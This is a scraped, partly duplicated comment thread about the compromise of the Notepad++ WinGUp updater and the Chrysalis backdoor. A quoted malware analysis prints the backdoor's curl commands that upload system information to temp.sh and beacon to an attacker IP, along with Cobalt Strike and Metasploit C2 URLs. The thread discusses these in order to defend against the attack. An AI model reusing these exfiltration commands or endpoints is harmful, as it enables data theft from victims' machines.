It now seems to be best practice to simultaneously keep things updated (to avoid newly discovered vulnerabilities), but also not update them too much (to avoid supply chain attacks). Honestly not sure how I'm meant to action those at the same time.
running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing.
When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202
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The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
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The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin
Naive question, but isn't this relatively safe information to expose for this level of attack? I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info? Still, that seems like a lot of effort just to get this data.
I'm out of the loop: How did they bypass Notepad++'s digital signatures? I just downloaded it to double-check, and the installer is signed with a valid code-signing certificate.
I recommend removing notepad++ and installing via winget which installs the EXE directly without the winGUP updater service.
Here's an AI summary explaining who is affected.
Affected Versions: All versions of Notepad++ released prior to version 8.8.9 are considered potentially affected if an update was initiated during the compromise window.
Compromise Window: Between June 2025 and December 2, 2025.
Specific Risk: Users running older versions that utilized the WinGUp update tool were vulnerable to being redirected to malicious servers. These servers delivered trojanized installers containing a custom backdoor dubbed Chrysalis.
The WinGUp updater compromise is a textbook example of why update mechanisms are such high-value targets. Attackers get code execution on machines that specifically trust the update channel.
What's concerning is the 6-month window. Supply chain attacks are difficult to detect because the malicious code runs with full user permissions from a "trusted" source. Most endpoint protection isn't designed to flag software from a legitimate publisher's update infrastructure.
For organizations, this argues for staged rollouts and network monitoring for unexpected outbound connections from common applications. For individuals, package managers with cryptographic verification at least add another barrier - though obviously not bulletproof either.
Thankfully the responses weren’t outright dismissive, which is usually the case in these situations.
It was thought to be a local compromise and nothing to do Notepad++.
Good lessons to be learned here. Don’t be quick to dismiss things simply because it doesn’t fit what you think should be happening. That’s the whole point. It doesn’t fit, so investigate why.
Most tech support aims to prove the person wrong right out the gate.
Because Windows users don't have basic package management that anyone can use and they probably got tired of idiots getting malware trying to Google random Notepad++ binaries. It's turtles all the way down.
I use Notepad++ as a Notepad replacement. I never understood why the network connectivity is enabled by default at all. The first thing I did was to disable it as the constant nagging interrupted my flow (VS Code would do the same thing BTW). I currently have a version from 2020 I'm very happy with.
If one day, maybe in 10 or 20 years time, I feel Notepad++ lacks something and I decide to upgrade, I will do it myself, I don't need a handy helper.
Notepad++ is one of my favourite editors, now it is forbidden by IT and checked for on security compliance checks if still installed, thanks to this attack.
I just checked, I'm on version 8.8.8. With TinyWall firewall, it has no access to the internet without my explicit say so. This is why constantly trying to be on the bleeding edge of last updates will more likely bite you in the ass than leave your system/program open to attack with some unpatched vulnerability. Look at Windows 11 updates lately. I bet most users would be gladly behind with their updates right now.
VSCode is the most popular IDE right now, making it and its telemetry-free derivative (and their overlapping extension ecosystem) too juicy of a target for a supply chain attack. Over 75% of devs use VSCode, according to the SO survey. And there's also the potential of Codium itself being targeted, despite it currently having a small userbase by comparison, which could easily change as MSFT does to VSCode what it did to Windows. Also, I predict MSFT is going to make it progressively more difficult for the Codium devs to completely strip anti-privacy "features" from VSCode upstream.
I get that the installer dropped the app cert, but how did the MITM’d download server pass TLS cert validation? Either they weren’t validating (why???) or they weren’t using HTTPS (why???)
33 comments
[ 3.9 ms ] story [ 76.8 ms ] threadThere is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.
Naive question, but isn't this relatively safe information to expose for this level of attack? I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info? Still, that seems like a lot of effort just to get this data.
https://arstechnica.com/security/2026/02/notepad-updater-was...
I recommend removing notepad++ and installing via winget which installs the EXE directly without the winGUP updater service.
Here's an AI summary explaining who is affected.
Affected Versions: All versions of Notepad++ released prior to version 8.8.9 are considered potentially affected if an update was initiated during the compromise window.
Compromise Window: Between June 2025 and December 2, 2025.
Specific Risk: Users running older versions that utilized the WinGUp update tool were vulnerable to being redirected to malicious servers. These servers delivered trojanized installers containing a custom backdoor dubbed Chrysalis.
What's concerning is the 6-month window. Supply chain attacks are difficult to detect because the malicious code runs with full user permissions from a "trusted" source. Most endpoint protection isn't designed to flag software from a legitimate publisher's update infrastructure.
For organizations, this argues for staged rollouts and network monitoring for unexpected outbound connections from common applications. For individuals, package managers with cryptographic verification at least add another barrier - though obviously not bulletproof either.
Could this be the attacker? The scan happened before the hack was first exposed on the forum.
I'm surprised this wasn't linked from the original notepad++ disclosure
Notepad++ hijacked by state-sponsored actors
https://news.ycombinator.com/item?id=46851548
https://community.notepad-plus-plus.org/topic/27212/autoupda...
Thankfully the responses weren’t outright dismissive, which is usually the case in these situations.
It was thought to be a local compromise and nothing to do Notepad++.
Good lessons to be learned here. Don’t be quick to dismiss things simply because it doesn’t fit what you think should be happening. That’s the whole point. It doesn’t fit, so investigate why.
Most tech support aims to prove the person wrong right out the gate.
If one day, maybe in 10 or 20 years time, I feel Notepad++ lacks something and I decide to upgrade, I will do it myself, I don't need a handy helper.
* Enabled by default * No use of verification of the either the update metadata nor the update payload itself
Looks like someone wanted to write an auto updater without having the knowledge to do so properly
Very sad